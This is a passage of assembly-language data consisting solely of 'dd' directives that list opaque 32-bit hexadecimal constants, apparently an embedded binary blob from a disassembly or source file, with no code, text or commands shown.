0E525AE02h, 891B093Ch dd 49895678h, 0E3C85110h, 3D9B00CBh, 0CA306A84h, 5725AB87h dd 5D8C205Ah, 0F698D053h, 96F81D14h, 2621DD3h, 1A1DF1E1h dd 299ED401h, 0CB164C29h, 0F9750783h, 97B147D3h, 48FC80EEh dd 0E1005EFAh, 419E6A76h, 7E868CBh, 70CDF1C1h, 0C80A902Ch dd 600302B6h, 5114E394h, 1F01A05Dh, 1E69CE16h, 406506C7h dd 3D80A3B7h, 1350F1E8h, 50A79444h, 59A04110h, 0D70ECA07h dd 0A045B0A3h, 6470F9A2h, 8A520096h, 671C2C19h, 0D275469Eh dd 74A3231Fh, 4F40031Fh, 603C15FCh, 1A0F00CCh, 0F26220A8h dd 76012881h, 0C52D6107h, 0FE60956Eh, 776A0302h, 920521CBh dd 17D36CD0h, 42134600h, 0A78ABAD6h, 0AA430281h, 32AC8793h dd 378F6563h, 9624A1A1h, 7B12C49Ah, 0DF898F00h, 7681921Fh dd 0FCF2008Ah, 0C58BEA86h, 0A73B0D3Ah, 8C658379h, 0D857E374h dd 545F5958h, 4E30848Ah, 0F95C014Fh, 2E5B9EC7h, 5040F849h dd 10930038h, 0E853A39Ch, 1605CE85h, 0A719C974h, 4BABD700h dd 5CE75C8Eh, 0D91CE51Dh, 12CA4190h, 68BC6F1Eh, 0B34400D0h dd 4CAEB8C0h, 7A90BA2h, 0F0206821h, 0F0EFDEE6h, 0E0668FA0h dd 76D15A12h, 0D7631502h, 0CEF8C8F2h, 0DFB881h, 2E380BF7h dd 5436CF27h, 0AE32D700h, 0D617D8D9h, 9C3312B7h, 68B802DDh dd 0F2604247h, 0B9012428h, 3A996D92h, 0C0D62D8Bh, 3A7DAA34h dd 4F801171h, 64EE28AEh, 0B6004A74h, 0E6C3F0E8h, 65BDF77h dd 119058ADh, 9914B09Bh, 0B9BF6Ch, 4AE6B897h, 0DDF618h dd 955AF998h, 50E2443Dh, 1A2C4AB0h, 0C0003C9Bh, 8E669439h dd 0EEDE09E4h, 0B8244DA1h, 98328035h, 0FE00EF4Fh, 0DBFAC81Fh dd 3974F1FCh, 88C9579h, 26B001B3h, 0BCEAF00h, 2F976CD1h dd 6071490Dh, 487A6E00h, 28895AA8h, 80CE9C39h, 35573934h dd 274024h, 0C3CBED2Eh, 15D79537h, 6700E890h, 0A8D410DAh dd 0EA68B88Bh, 9313003Dh, 0FC265870h, 0AF0F6BF6h, 0F7052F1Dh dd 8F8A1001h, 0CFE43645h, 27DF30DAh, 21E28198h, 82FC4E00h dd 0EAF0647Eh, 7AFF00F4h, 99787216h, 0E3F79AEh, 53DB1226h dd 0EE26D896h, 0C68A0E6Ch, 0D941B6ADh, 0EC6EBBF9h, 0E4C5791h dd 9ECE16D4h, 394C800Ch, 26CB03C8h, 9B31412Ah, 1F3598E0h dd 0E9EB7A00h, 52F40A46h, 1450F08Eh, 0B8B274EAh, 1EA01D38h dd 3541E900h, 0B023F610h, 48090083h, 5B98B553h, 0E200908Eh dd 0FA732C76h, 3FFC5ACCh, 0E0004430h, 0FE7E7D4Dh, 7006227h dd 48FDF891h, 0F25FE4h, 77D961CFh, 414A3DAh, 0F42A800Ch dd 0CCD586Dh, 0B715BE8Ch, 45003211h, 0D563E1EDh, 0B9E5FAFh dd 0AB60BE76h, 0BAD15880h, 430F77FFh, 60E09181h, 8CDE2751h dd 0D60D004Ch, 1647105Ah, 5700AAA6h, 5CF61FBh, 90FDA280h dd 0E5270234h, 0CD962034h, 988CB040h, 0E1B680A0h, 48855801h dd 0BB23A16h, 96EF1C24h, 0A51380BCh, 0BA1D10E3h, 5109B302h dd 80B201DCh, 23E487F0h, 0A870A6h, 627C96C8h, 404E3949h dd 6D7EC2F4h, 9040C05Bh, 456AA980h, 82F5071Eh, 44F1677Dh dd 4DE490C5h, 0DE027F32h, 669F6E16h, 0D4CCA2CCh, 0DC52EDh dd 0B24CF18h, 7710963Bh, 13B29807h, 699149E0h, 0F708A4h dd 7B2E9F98h, 64EF4436h, 56414200h, 0E25E7C3Ah, 0D400864Fh dd 787A2BDh, 0A0277454h, 0C4DC4h, 0D7E19933h, 9B09467Eh dd 0F97B3B00h, 0BFD276EAh, 0C2AB0082h, 0AA60CC1Ah, 0A007183h dd 0E8D7772h, 5CF03B85h, 0C707A068h, 50D2F3FAh, 0A720E35Fh dd 2A025E1Ch, 0A86E803Bh, 0FBD916F4h, 0A45B3F93h, 9E391331h dd 0A17BCC0Eh, 4A7DB64Ch, 8B714C00h, 4F9B14h, 882F7930h dd 800A1E0Eh, 0F682A150h, 0A6B42700h, 52FD8BB1h, 44F1052Eh dd 0C3FEC7E8h, 0C087E9F4h, 0AB2BBA7Eh, 0B0E56B2Ah, 2C88175Ah dd 0BAA316CFh, 0D0D00A2h, 0C975ECD9h, 0DD12F800h, 0B15613BDh dd 422700F4h, 0D8A96EA5h, 2E03CE24h, 0B7326D06h, 0E08DA0EAh dd 0FC830007h, 553EB8B3h, 8101FD94h, 0DC220170h, 2C30B9F6h dd 929E00C4h, 5EE37389h, 2A0937DDh, 0AE9B0AABh, 8FA3A080h dd 1F9A4035h, 810C0852h, 5B4AA281h, 1D07C0Dh, 820BA88Ah dd 15C484A7h, 9904EFCh, 0C000E694h, 107B2AF3h, 19E7E130h dd 0E1FF689h, 0C2FFB620h, 0A6572280h, 2D640F15h, 0C8B87379h dd 0F75FF84h, 25234169h, 81E814A7h, 0C4E807CAh, 0F07F6D44h dd 29C3892Fh, 16A05Ch, 0FB191C9Ah, 0B8D8CFh, 0B3DDFD6Eh dd 0D2517FF1h, 7C9F7900h dd 0D023983Dh, 0A0094C1Ah, 0CFE43E01h, 0EC4287CCh, 0D0EC826h dd 0C2B797EFh, 80BBA990h, 78AD4EA4h, 1F4A0950h, 10D84DA5h dd 0E8EB8600h, 7DBB97EEh, 61DA00F9h, 8CFF5615h, 0BF005DD6h dd 4A66512Fh, 3AD9Eh, 0DA6C88C9h, 1DDECC78h, 42D3F01Eh dd 5AF88DC7h, 7EB85890h, 0BCC712FCh, 7500E08Ah, 14E0E904h dd 0D0F85143h, 39382A01h, 3AF5EEEDh, 0E6972401h, 10809BE3h dd 0B11ACADEh, 6301A964h, 0EC697C54h, 6296E4h, 0C4CCE577h dd 9A0713B6h, 3CC083B8h, 24E41688h, 2971E51Eh, 681184C0h dd 675562h, 28181E42h, 8EB49ADFh, 0D2313C09h, 0BC5803Dh dd 1DF4C3h, 9D958FCBh, 970D8678h, 0F1E65113h, 150F0E0h dd 4CFAF315h, 808C13B4h, 0B5F99028h, 9EF8E44h, 0E7FB0763h dd 0D0B30427h, 1D9454E9h, 91FCA01Dh, 3071040h, 5EC25CD1h dd 0C3382B85h, 8A5787CFh, 10A4515Eh, 0C30B225Fh, 0F9234C08h dd 3EAC205Ch, 0F13C0861h, 0E49C4010h, 50E2D74h, 0AF2F0CFCh dd 0D2B3A603h, 16ADE20h, 0CD37D9E3h, 7067E14Ah, 1D07CB9Bh dd 9C306A87h, 0C3D014F0h, 2F1A008Fh, 0FAA77E4Bh, 0DB00BC3Fh dd 0B726C908h, 0E563717h, 13B8E1D7h, 0E8949D00h, 0B3782C52h dd 0DF1ED37Ch, 0C99D902Fh, 0D4B07CC0h, 3DAA230h, 0EAB655D8h dd 51C84AFAh, 2CFC35A6h, 872C800h, 0ACF8A147h, 0F66600FCh dd 0DC1265E9h, 0DD00FB92h, 799F7A39h, 7DFCD22Bh, 794F8A9h dd 47250D83h, 5EDBA034h, 0BA00F185h, 0C5234369h, 0FAF2F84Fh dd 176A01EDh, 0CFDF9C5Fh, 45B88ED6h, 0E93A207Fh, 390AAF9h dd 62474F43h, 3788724Ah, 4001EFF6h, 60A19786h, 66CCD74Dh dd 10063D9Fh, 7713E200h, 63D04A45h, 9D655Ch, 4D32A4ECh dd 0F46F1h, 0D2C7266Ch, 0F53DEE70h, 0A2FCED00h, 2D672EB1h dd 1EA0713Fh, 40DB226Bh, 30079A6Eh, 96020FF6h, 39D095C5h dd 3F6240DCh, 0ECFA1FBBh, 0C7678071h, 996913CEh, 201E2F79h dd 2BC7727Fh, 1C20F6E2h, 7CF3C754h, 5F570025h, 365DA13Eh dd 6A00D1B7h, 0DB8CF187h, 303729h, 5E0F44EEh, 40E7D815h dd 9EBEB03Ah, 0F2036C18h, 69AFBDh, 1AA91958h, 0E7380246h dd 7B73BA00h, 8A1E4807h, 874900C4h, 7C106316h, 37F8C8E6h dd 0E9FBBA00h, 0EFB80E7Ah, 8080505Ah, 822100DFh, 66779DA9h dd 832C582Eh, 0D41E7E5Ch, 7F002412h, 0F3496D36h, 0C99038Ch dd 0DF86A0A5h, 0C63490BCh, 9501E397h, 518B56EFh, 3880542Eh dd 154459A5h, 32831A7h, 8C02B025h, 0B740BA7Bh, 50C0A0D0h dd 81D545h, 5BEC1F4h, 0ABA0D651h, 0CB2FC0C0h, 18B361A4h dd 5988F73Dh, 0A0033FBh, 0BD60D1B4h, 0A10371h, 97BE6A86h dd 0E34FCDD5h, 9D398C0h, 30DF6BEAh, 5481DCC9h, 840799B9h dd 35348DCFh, 7289EB56h, 8E47036Ah, 375C97C7h, 0B9D215C0h dd 81FE7400h, 0EF2E1E8Dh, 34AE00DFh, 2D6D7512h, 5500A1EAh dd 322A03A0h, 78ADE09h, 0D9492C08h, 469592A8h, 15CF64E0h dd 55071903h, 889360EBh, 0A0D58AE4h, 75CDD7A0h, 0A02B6013h dd 7028F26Eh, 7168EA17h, 75543800h, 470EC6h, 0C7B33813h dd 6E3B509Fh, 0AE581E00h, 0A16614D4h, 0F6631E2Eh, 0D9E44022h dd 0B595528h, 5D8F7501h, 1B4E88A2h, 8E0A050h, 0BDE700E9h dd 6F1567B4h, 1A1CE1A7h, 0BA1636C1h, 25280Eh, 0D240A601h dd 765B26C5h, 6CC68C20h, 970547F8h, 0F8891F84h, 0F665A040h dd 709060h, 9EEB9C24h, 0D76FA4EDh, 8130EF3Eh, 0FA9FBE03h dd 0A2FC386Ch, 212A0157h, 2254C7CAh, 0C5F840AAh, 603D8442h dd 0AC78E264h, 12332EB2h, 4BFC47h, 38C8F221h, 4D7E34h dd 29A67FA4h, 0FBBFBE84h, 0AAC2D73Eh, 0E4E5F8FEh, 7B006086h dd 6A165B61h, 0AEB6CDh, 0D70F4809h, 2D5ABF0Bh, 0CF3AAD00h dd 23BB07A7h, 4ABC074Ch, 0D02E2901h, 1889D85Eh, 0B7A89D26h dd 8CD11503h, 8E00E7FAh, 840C73h, 44E295F3h, 0C7BDC958h dd 2C9ADDE6h, 0AA75BE0Fh, 21D68CD3h, 0F1D0035Dh, 19E9A667h dd 0DB8960A8h, 313D4100h, 5F089BCBh, 879A005Eh, 203A44B3h dd 0DA009367h, 3513E37h, 4F14B2h, 0B09C813Ch, 57FCB441h dd 1FBA2B3Ch, 59803E77h, 0EA375F6Eh, 17D50010h, 3AC63112h dd 5500D0B1h, 3D39286Fh, 1DDE3BCh, 35A9BF1Dh, 0CA89FCC4h dd 6B792C60h, 818CA405h, 0C000127Dh, 82DEDCBCh, 0A84F1222h dd 64F13Ch, 5E0675A0h, 4E7ED01Ch, 17E07680h, 7631142h dd 70911A66h, 9600F51h, 1EAE8807h, 0EE276B00h, 129BC8E2h dd 5141000Ah, 0F1BC8A13h, 0D50A2BC2h, 0E6B29CAEh, 0A0AFDE0Ah dd 0FC164B00h, 0C84F050h, 0DCC7A5D8h, 2C04B898h, 430D9D4Eh dd 5FD24490h, 0E85C4D48h, 4EB3D400h, 0CA988747h, 0CCD7624h dd 0E7857B81h, 51C423F9h, 5FFF0047h, 939E1739h, 0A002D79h dd 91F972CDh, 90617889h, 9F6D099Ch, 0F88142D9h, 34CFFAECh dd 6AF24E90h, 9B791907h, 0B2A1CBE7h, 48878C41h, 674DF85Ah dd 51D01021h, 0C00D4B1h, 0C376EF64h, 2015BA95h, 46023345h dd 62E32287h, 5A6060E0h, 93BB0011h, 0D284E2F8h, 37632DDFh dd 8820B0C1h, 7A2FC4h, 0D0BC6D6h, 0AF58083Bh, 117E7607h dd 3810AC84h, 902D9B5Eh, 3E877C13h, 0D580B3C5h, 78364C3Dh dd 550EAB89h, 0E0B1FA13h, 447A8379h, 748E0A46h, 0F46BD1h dd 0EFC204CDh, 88006618h, 8DAA7302h, 3EBEFF01h, 71877BC6h dd 30C1BA9Dh, 96EA4DD6h, 5975190Ah, 8902D0CCh, 60037453h dd 0AB0C184h, 0E0824D7Ah, 158C00E5h, 8137592Fh, 26DFAF00h dd 48C4634Ch, 0E4D20018h, 8677CBF6h, 677BC305h, 3DABDB00h dd 23F4D84Dh, 85BB0316h, 3E69A109h, 93E73790h, 8D46BF0Fh dd 18D480EBh, 0B1A0A4A7h, 8A758244h, 4C108DABh, 5DDE1C2Eh dd 0AD61C0D4h, 1441C4FDh, 2665283Eh, 680F6135h, 548920B7h dd 0FEEE98h, 4347703Ch, 0D816ED6Dh, 85032272h, 90B96A06h dd 4838D82Eh, 2F6C385Fh, 0A80F5D80h, 0F2F0C136h, 0AEE8B101h dd 72BF91C0h, 753DFE40h, 682F4931h, 0F6013220h, 0EC505759h dd 0DC348306h, 53620018h, 0DE38D8A1h, 0BE1D2558h, 5B058C21h dd 0EC8046EAh, 8DEB18h, 979913Fh, 70C01DB3h, 5C86D501h dd 940E0238h, 1FB6F870h, 0C050160Fh, 0BBF59581h, 6A3C1009h dd 825A84F9h, 24A44A67h, 6DFB00D2h, 31EDFF90h, 150DB706h dd 20E8E460h, 0C14DFC03h, 119EE9B2h, 4E6300B1h, 0F1B79E0Dh dd 3664039h, 0D9E33702h, 352000BFh, 3D7DD756h, 6203B7DEh dd 0EA416F4h, 1242F709h, 7265E06Dh, 0C2E80F05h, 0FC4069EAh dd 5CEF8D38h, 0EB94A401h, 7B37D95Ah, 0F9525441h, 311A1862h dd 8CE1A8CEh, 0D8718006h, 0E60AF12Ch, 0EF4700C5h, 6878D301h dd 0DA0E10C8h, 0A1B2B3C6h, 7DD8E616h, 0AA03D0h, 907F6CD0h dd 41B548BBh, 0DBA6C800h, 0A8B3D9A3h, 0E0287F72h, 0CD8100AEh dd 5F30BC55h, 7A03ADB2h, 3B54D0DCh, 0F497B80Fh, 6F1900F8h dd 72B4573Ch, 0E809616Bh, 0E50BE58h, 0F6E9077Fh, 4901754h dd 8A5E95h, 4E90B53Fh, 0B2FB35BDh, 0B9006CBAh, 0D1CBE253h dd 0B88C2A9Ah, 4BC50068h, 0FC62A496h, 3A0059A1h, 30173F5Ah dd 2A6EEFDCh, 7894E31Ah, 259500EEh, 15A10CC1h, 71000F31h dd 353C1B07h, 316C2AB3h, 0A03812AFh, 5E547094h, 0D9A5130Ah dd 9880B0B5h, 3F0B14E8h, 0EDB70CC6h, 0AB08D637h, 0C17621C0h dd 0B4F214h, 8BC94C50h, 3E7443C4h, 740B100h, 0FEE938A0h dd 52E3E231h, 0B806DCBAh dd 0E9E05AFCh, 3D03E60Ch, 601B20D0h, 0F4A5C1E8h, 806143Ah dd 0D61A50A0h, 5B760019h, 0A9632FBh, 8C005237h, 29E4110h dd 0D938F33Ch, 18A3C8D0h, 91408EAh, 0A1C4D63Fh, 14C37840h dd 0BD0E2011h, 60B85B0Ch, 3F869766h, 0F83A00E9h, 0DD35071Fh dd 9800BB80h, 0FA63F75Dh, 1EC5B49h, 0C3939D9Ch, 0E004CBFBh dd 175C862h, 0DBD54F00h, 70489A2Bh, 633006Ch, 0B6F4F199h dd 0A5007852h, 0A90D3261h, 927087h, 4089CBC2h, 49B9428h dd 0F037A61Fh, 60C3174Eh, 0B1259FF1h, 0C76E0029h, 0B39CE2B2h dd 0D80099FCh, 7137C11Dh, 0E16BEBh, 9E11B893h, 0FF2707D0h dd 8899D600h, 254ADBC6h, 93AE654h, 0EFAE3971h, 4F82A480h dd 9B26D713h, 600090EDh, 7EFB8A07h, 0FC4C002Ch, 8C5B3CF0h dd 1C0071B5h, 13097A6Fh, 0B49157h, 86EF2622h, 0CE5DF744h dd 0D0DEAC1Ch, 3C1E00FBh, 0B22C4172h, 46D50042h, 0C9275C12h dd 5B58E776h, 196032Fh, 0FF60524Fh, 577180CEh, 0F356C0h dd 0CE6836F6h, 137686ABh, 29058C0Eh, 8821C032h, 71B8CAE5h dd 6E09Ah, 807CDE46h, 72BE2B66h, 4D3AB00Fh, 0A4AB206Fh dd 7205E932h, 0ADD63C64h, 6AEB3700h, 411F2061h, 363A7701h dd 3CA3942Eh, 0E4696880h, 6249517Ah, 2000477Ah, 6BCE861Bh dd 0C6A975h, 0F0DF15C2h, 0F2935E96h, 3873FD30h, 28D347h dd 29C1C334h, 0F885CF4Fh, 307B0F38h, 25564087h, 60940EF1h dd 96808A91h, 51B31CFCh, 2A051900h, 1DBE8222h, 954D0001h dd 74F49699h, 1100B9BBh, 7BFE0D62h, 0E6B450DDh, 4C5401D3h dd 36CF6C5Ah, 91FFCCA9h, 50A7C60Eh, 7B2680EAh, 386DB4h dd 0E8AA54B5h, 9757D9F9h, 2FD4B1Eh, 9CBDBA83h, 0A53EF05Ah dd 335F00CAh, 0B4DE7B48h, 5B00EBE0h, 0CE6B594Fh, 0C9E237h dd 7BEE87D7h, 0BEAF5DE9h, 0B0AD9600h, 56F12F5Fh, 0C92C070Eh dd 706D5359h, 7B8A9C87h, 8039FD39h, 91F0A96Ah, 889261h dd 0FA305412h, 56A8ED70h, 0A0E6B918h, 0A63D88h, 9E1C2F9Fh dd 0BD871D2Ah, 0A8C8300h, 0F4E82127h, 2376B2h, 3FAC9171h dd 65174C97h, 0C8BD110Fh, 5305608Ch, 65B0828h, 0D4A240Ah dd 22229836h, 8F150072h, 0E97EFE80h, 86064189h, 5A4C10Dh dd 0C3B400DAh, 1CB154FFh, 0C600EB32h, 0CC19C0A1h, 15EA94h dd 0AC7E91FCh, 0BBBC7A35h, 40B880EDh, 7754E2A7h, 5FF707D9h dd 6032EBBEh, 722F6699h, 7418FD24h, 3798CC20h, 0ADA6E21Fh dd 95691A47h, 0D3330CA7h, 80B4F2BBh, 0CCF2A4FCh, 5F370C9Ch dd 0AAB86BD5h, 0F9A98F00h, 7CFD0A25h, 0D430FB7h, 40529E53h dd 0EE0C7840h, 2A008A48h, 185F6D33h, 0B23C22h, 0EF1F70EDh dd 0C8574BFFh, 9DE91E00h, 0CCAB6A42h, 611B004Ah, 40637D6Dh dd 76EE4C0Ah, 0F4644800h, 0D478853Ch, 0DF5100F0h, 993BDCABh dd 0BB009D04h, 75089247h, 0AF9377h, 0BE35CA9Ch, 0D9149F32h dd 27025200h, 225D5EF7h, 96650394h, 0E3B1A72Bh, 4400BBDBh dd 0B68CD11Ch, 0CFB5A659h, 69872A19h, 10E2061Eh, 0CC536E00h dd 44DAC355h, 735200DDh, 0E79CD251h, 5A00196Dh, 1D4DA1F5h dd 0D89E61h, 5E6BE48Ah, 0E09B217Dh, 0FB00BAFCh, 2EDBC0FDh dd 3A205Bh, 93B94EE6h, 77A68AD4h, 0D0BDD215h, 3E8C00B4h dd 2BEA7164h, 0B1FA0068h, 9F23F4F0h, 0A8124344h, 0CC00983Ch dd 742613CEh, 7C9D0060h, 0EC840D2h, 4D02AD8Eh, 2402B499h dd 0BD1C6834h, 3622036Ah, 19845E0Ch, 663BC690h, 1F694588h dd 0CFA4F9CFh, 0B2A0D449h, 2A1CDF63h, 9C082700h, 0DD6B050Ch dd 43CC000Ah, 3A1DB71h, 28005D06h, 0EC7E80B3h, 0E8BEE36h dd 6071386Fh, 29C5BCC0h, 7C0E6A0Fh, 23126EA3h, 80D95451h dd 9AAFC3h, 75FEFCBDh, 0D8F7F6FFh, 95DCF11Ch, 58240166h dd 1F3B00B8h, 9011F523h, 165D00A2h, 68D3C240h, 97009233h dd 89B0DC06h, 38FDF66h, 0CCFE9E2Fh, 0CA005453h, 62C5E2C6h dd 248955h, 0F1852DA2h, 70A53643h, 0D2AFD700h, 17967375h dd 9CC04CDAh, 0E9C4BA00h, 0A0A36D0Fh, 0F7BC53Dh, 0A05DCB1Ch dd 878FFC58h, 0C7D500CDh, 72F2AD36h, 421F7390h, 2CC1F31Ah dd 0F1EC8FC6h, 70DDAEE4h, 25470092h, 8849561Eh, 0EE01ED5Ch dd 7B4044ACh, 27608AAEh, 4B57004Ah, 4E8C8638h, 0B1046358h dd 5AC5F0Ch, 0DB00E494h, 0DB086994h, 2C97095Eh, 0E8094EF6h dd 0B870F00h, 7C07CF67h, 53E72731h, 0BA5295B0h, 5A600038h dd 7AF0104Eh, 701777Fh, 0E3DBAF83h, 0E73070ADh, 204500B7h dd 5E182149h, 78093B1Fh, 0A5FB83h, 0ACADD11Bh, 0E9CC00CFh dd 0D9D85DDDh, 17002B54h, 7906C921h, 0FC5855AAh, 0CE700E5Bh dd 6E40D635h, 16FCEA3Ch, 29443230h, 0BEDAAFh, 0B33782E7h dd 7AEF3C52h, 3DDC0C01h, 0C8486E04h, 0F66BC300h, 43038B7Bh dd 106DE0BFh, 59D9B1DAh, 2220C24h, 0AA8FB302h, 4CC826FCh dd 0A70186B8h, 2901DDE1h, 4E8B369h, 0F36B07D2h, 0A0C35A8Ch dd 0E545C462h, 8947DF3Eh, 81CA605Eh, 0EA0EFB61h, 0B283ABC4h dd 0C2060F94h, 2A21ED67h, 0D093F011h, 75630945h, 1183EF20h dd 60685310h, 288F1B20h, 21110071h, 10EC645Ch, 233A0812h dd 0E29F80CBh, 0A955A36Ah, 8EC9C25Ah, 0CC0187Fh, 89332B10h dd 0C66958D7h, 27110E20h, 77C3CB07h, 0E6C09B96h, 1D012645h dd 5C69E79Fh, 80D8F28Bh, 0C840124h, 0FFAB2E76h, 0D81E409h dd 5F6F2B00h, 543A59A3h, 0D7C809ADh, 34A0CAC4h, 25AA84Bh dd 0B5890339h, 0D802680Dh, 9A99EAECh, 0ED48C084h, 1084A09Bh dd 0B40B0FB7h, 91C04B55h, 5FC30A4Fh, 0A778F6C0h, 99C6D2h dd 0DCBE84F5h, 0CFC45966h, 557CCB07h, 0B9179Fh, 0B74488EAh dd 0DB2B00DAh, 3B871682h, 7F002957h, 89E5097Ch, 712601h dd 9AECEE32h, 4AAB1982h, 9D1F4E00h, 93283394h, 0E67C0074h dd 856D39Bh, 830E3E9Eh, 21653DDBh, 483CF8EFh, 1FAA4FCCh dd 0C073915Eh, 0A6C8FC1Dh, 425C0288h, 22900710h, 0BD208763h dd 7F5DABh, 100EF220h, 0C24546CCh, 7354CA00h, 38AE36BFh dd 0EB7F4CDh, 245F496Ah, 5D82DC20h, 3F00973Ah, 0A4016C5Eh dd 0E38731h, 6870740Ch, 64E6DF81h, 0EF6F8A8h, 6C074A70h dd 9B8A288Eh, 0C06204D3h, 39E0AD68h, 67029123h, 0C5218790h dd 36517844h, 69E247F6h, 43D71003h, 213F0830h, 0E8B532Bh dd 8655E5BEh, 0C3C20324h, 681657B6h, 40F3359h, 0C6520241h dd 8B304868h, 6FC400F5h, 0CAA3E2E4h, 0A2741AEAh, 242180FFh dd 0F930C4FEh, 260404ADh, 9081715Dh, 0F8A3870Ch, 0B0B68B30h dd 60CA3455h, 6D442084h, 0CC60EE28h, 9A132E29h, 19AD035Dh dd 2955833Bh, 8839082Eh, 9A1B0C80h, 78430EF0h, 0E3BB047h dd 5CD61041h, 771864Ch, 0C75AFC03h, 3F5EBA3Ch, 0AB98CF68h dd 0E5D7808Dh, 0DB50108h, 145503B9h, 280779F2h, 0F311ADA3h dd 2721C4C0h, 0EF30007Fh, 0F89DACB2h, 9C0051C6h, 46198EDBh dd 28AFFBC4h, 0F2081Dh, 22ABA90h, 44974E48h, 7FBCD000h dd 206625D8h, 0FF30015h, 32033CA3h, 0C400A8E0h, 0EDEFB2D5h dd 0EAC834h, 114F9FCBh, 94413F6Ch, 3A0F44FEh, 3C75DBEh dd 0C858062Ch, 390F2374h, 0D8801967h, 8E438064h, 0B000AFE6h dd 0EA7EF68Fh, 81548Ah, 0CF6878C6h, 19CC6D9Ah, 80739C38h dd 9F0823FBh, 70525F43h, 0B8C5001Dh, 0E3B29868h, 4004ABEh dd 6A80CB22h, 936B4Bh, 4CBCE6BDh, 0CC74F206h, 3500A6F0h dd 0C53711C0h, 59EAAFh dd 7DBE2294h, 1FBD8B40h, 4BDF7203h, 0C053E4F5h, 1FC74DDEh dd 86C615B8h, 0D0195259h, 0AE96CA00h, 8119C83h, 8BD507FAh dd 7059765Bh, 0BFE1F4DDh, 3C00F9E4h, 0A5D4B940h, 0C84178h dd 5EBC8E9Dh, 3A231AB4h, 0AC9E3400h, 9F7EB88Ah, 5BC400B3h dd 437FB978h, 0C97D6527h, 0FA91AA1Fh, 118E53C0h, 466BD3h dd 56B1F20Dh, 89DE5EEAh, 80586800h, 5FB49E9Fh, 9AC00DBh dd 26C1BAC9h, 0C8006718h, 43DE8EBDh, 0E06638h, 90E6ADB0h dd 0DA80F114h, 52A28C00h, 71D3108Fh, 0F40E0048h, 6FC0636Ah dd 9400DAEDh, 0B2729D21h, 0C0F1DCBCh, 4535F4A8h, 980B1266h dd 871C2C81h, 600F1AFEh, 0C55429FEh, 0F7A5013Bh, 65379839h dd 335BE443h, 403C37Bh, 41B51059h, 2AA8019Ah, 0F7DEBE14h dd 935BFC26h, 6871C637h, 846ED5D0h, 8217046Ch, 40C7622Ch dd 0CD4FDF2Bh, 0A3340ABAh, 8FB0FC35h, 0C1A0E16Fh, 11284315h dd 9E0EB8F6h, 0A007FC13h, 639E078h, 959200D5h, 0BB6EE947h dd 0F5005A0Fh, 6BDF8862h, 0C628D7h, 0AD77486Fh, 39ECDC25h dd 4C00A070h, 5BB841C1h, 398A2DAh, 64D4292h, 3B93F6Bh dd 0C04C20F7h, 88E35100h, 72F6D7E9h, 0A715188Ah, 48E8A163h dd 3E616707h, 3510CC7Fh, 31F4FFEh, 0A6D193B7h, 0BA1BE01h dd 61DEFCD6h, 9EA0DD00h, 88F30C6Ch, 9B42008Dh, 47A47583h dd 6E3FDC56h, 0F9B500D6h, 951A826Ch, 5CC3142Eh, 5208CC84h dd 0A700C109h, 5F40BDE3h, 0D16402DEh, 0E2384496h, 0FCF48090h dd 1ABB35Ch, 0C3C2FD6Fh, 0EBED57EAh, 5E850D8h, 0D773DAA2h dd 40BC303Ch, 53EE5999h, 0A8FF2200h, 0F2894C05h, 7D3213A2h dd 98DE02A6h, 8CA01943h, 0BE77E965h, 0FC5D1400h, 3C1D693Bh dd 164000ACh, 96F719ABh, 6FE8E2D1h, 505C4Ch, 0BFFF053Ah dd 0ECDD1Dh, 0CBF5FDACh, 1EF0CAFBh, 67E8A401h, 0DE1AB89Fh dd 0D704F0h, 0FD827890h, 752461E4h, 0C5A1AE00h, 42303AF3h dd 6BD00009h, 1FC2CE0Fh, 0A91D1495h, 9080F917h, 5C94C98h dd 0F4A10032h, 80B02006h, 0DA2618ABh, 0AE006B31h, 962490Fh dd 0D0330001h, 668E7230h, 0A11EDB92h, 0BF0071B6h, 23C7B945h dd 703826D3h, 5ACA006Ah, 343F2C8h, 0B2B7E700h, 0D919AA49h dd 89B05C08h, 0DE1F020Fh, 0F21288D8h, 2D028272h, 74A231CBh dd 0C052C0C3h, 7176FAh, 0B73F7E66h, 348288BFh, 764AD500h dd 3B5EAB2h, 686D009Dh, 0E32BFEB3h, 6B003F37h, 4D08ECDFh dd 1A3AFC9h, 0CA47C604h, 0D4835030h, 5A28515Ch, 60484A7h dd 69AC5D2Ch, 0D7ED40D0h, 5E100099h, 0B9EA452Eh, 6F0EAAE6h dd 0C03A297Ch, 0EB7318FEh, 0CCF0356h, 3BFDDE88h, 0A4075B98h dd 7C0E0D01h, 0B39E4A97h, 5233B540h, 342D0943h, 4C007A7Bh dd 3FD077C5h, 36F4D0Ch, 2676602Eh, 0F11851h, 7D67C270h dd 0A092FB3Eh, 0E409E0F2h, 25C108F8h, 9CC03738h, 4C482613h dd 5A00AC22h, 0B10470F6h, 8401E969h, 3BFBC1CFh, 71C1CDBFh dd 227EDE40h, 308567EFh, 0D3F87060h, 0B4A0FFBFh, 847055h dd 8287B5A7h, 513E3189h, 0FA008BE2h, 68670206h, 60815Dh dd 4BAB2324h, 27AA2A16h, 89764000h, 4384C114h, 0BC4E0036h dd 489A6D5Ch, 0FD01D0F0h, 1BB7A724h, 82DA31DDh, 608AA9BCh dd 1C0A1E09h, 4094A8F6h, 81364A71h, 10063DDh, 69867D3Fh dd 0E32D8C08h, 0E3CEBC0h, 7368830Eh, 40287A47h, 2B69B0DCh dd 3130F600h, 17E0F526h, 867E0EEBh, 0E5638B22h, 52F8CC19h dd 23133CC1h, 0D500F70Bh, 0DAD2B1DDh, 0BC2800B0h, 91C8CC66h dd 0FE2CC1D1h, 3B004912h, 3D2088CAh, 0AEF10092h, 0B0F68B3h dd 0F80070A3h, 26CA3163h, 754496Fh, 3A88F253h, 6A4EEE15h dd 0CE558020h, 0DA3EFD4Ah, 96BB47h, 9ED1D49Ah, 26D8B16h dd 2360F633h, 9E40CF12h, 93003104h, 92BFB11Eh, 30C9A3h dd 0DFFDD96Eh, 0BBDA5382h, 0DB113D07h, 9410394Bh, 0FF558FCh dd 4A5923E7h, 0E1FE04A0h, 6E001381h, 1293A02Ch, 0C44754h dd 0E0B8DABBh, 3C892D5Bh, 0FE09287Dh, 20519550h, 29A5094Ch dd 738F0965h, 0C78027A7h, 790D2869h, 0D5321800h, 0B9538B48h dd 0D06805BAh, 0FA8F3FC6h, 0E51556C0h, 0F22B001Bh, 21A4137Bh dd 1C00EBF5h, 927189C4h, 0B8BD0646h, 3B83002Dh, 5DFA0A57h dd 0CA59BA99h, 0ED480070h, 54A2591Eh, 3F0A14C6h, 468210D6h dd 0AC681EEEh, 0AA0E339Fh, 8E23915Ch, 479C8103h, 21861D34h dd 39C8F499h, 